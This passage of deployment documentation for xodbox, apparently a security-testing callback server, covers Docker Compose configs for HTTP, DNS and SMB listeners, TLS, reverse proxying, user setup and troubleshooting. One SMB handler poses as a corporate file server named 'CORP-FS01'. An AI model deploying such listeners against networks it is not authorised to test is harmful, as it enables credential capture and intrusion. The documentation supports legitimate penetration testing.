/admin/api/health).
# docker-compose healthcheck
healthcheck:
test: ["CMD", "wget", "-q", "--spider", "http://localhost/api/health"]
interval: 30s
timeout: 5s
retries: 3
Docker Compose examples
HTTP only
services:
xodbox:
image: ghcr.io/defektive/xodbox:latest
command: serve
user: "1000:1000"
ports:
- "80:80"
volumes:
- ./data:/workspace
restart: unless-stopped
healthcheck:
test: ["CMD", "wget", "-q", "--spider", "http://localhost/api/health"]
interval: 30s
timeout: 5s
retries: 3
Multi-handler (HTTP + DNS + SMB)
services:
xodbox:
image: ghcr.io/defektive/xodbox:latest
command: serve
user: "1000:1000"
ports:
- "80:80"
- "53:53/udp"
- "445:445"
- "9091:9091" # isolated admin console
volumes:
- ./data:/workspace
restart: unless-stopped
cap_add:
- NET_BIND_SERVICE # required for ports < 1024
With xodbox.yaml in ./data/:
handlers:
- handler: HTTPX
listener: :80
admin_listener: 0.0.0.0:9091
ui_allow_cidrs: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
- handler: DNS
listener: :53
default_ip: 203.0.113.10
- handler: SMB
listener: :445
target_name: CORP-FS01
notifiers:
- notifier: app_log
With TLS (ACME DNS-01)
services:
xodbox:
image: ghcr.io/defektive/xodbox:latest
command: serve
user: "1000:1000"
ports:
- "80:80"
- "443:443"
- "53:53/udp"
volumes:
- ./data:/workspace
environment:
# For Route53 DNS-01 challenge
- AWS_ACCESS_KEY_ID=AKIA...
- AWS_SECRET_ACCESS_KEY=...
- AWS_REGION=us-east-1
cap_add:
- NET_BIND_SERVICE
restart: unless-stopped
Behind a reverse proxy
When running behind nginx, Caddy, or another reverse proxy:
- Forward
X-Forwarded-Proto,X-Forwarded-For, andHostheaders. - If using the admin console, set
public_urlto the external URL so sink links point to the right host. - If using OIDC, set
oidc_redirect_urlexplicitly.
Example nginx upstream:
location / {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
Bootstrapping users
Create the first admin user before or after starting the container:
# Before starting (if the DB doesn't exist yet)
docker run --rm -v "$PWD/data:/workspace" --user "$(id -u):$(id -g)" \
ghcr.io/defektive/xodbox:latest user add alice --admin
# While running
docker exec xodbox /bin/xodbox user add alice --admin
Verifying image signatures
cosign verify \
--certificate-identity-regexp="https://github.com/defektive/xodbox" \
--certificate-oidc-issuer="https://token.actions.githubusercontent.com" \
ghcr.io/defektive/xodbox:latest
Troubleshooting
Permission denied on /workspace: Pass --user "$(id -u):$(id -g)"
to match the host volume’s ownership, or chown the data directory.
Port 53 bind fails: Add cap_add: [NET_BIND_SERVICE] in Compose or
--cap-add NET_BIND_SERVICE in docker run. Alternatively, bind to a
high port (e.g. :5353) and NAT from 53 externally.
“address already in use” on port 53: systemd-resolved or dnsmasq
may hold port 53. On the host, disable or reconfigure them.
Database locked errors: Only one xodbox instance should access the SQLite database at a time. Do not mount the same volume into multiple containers.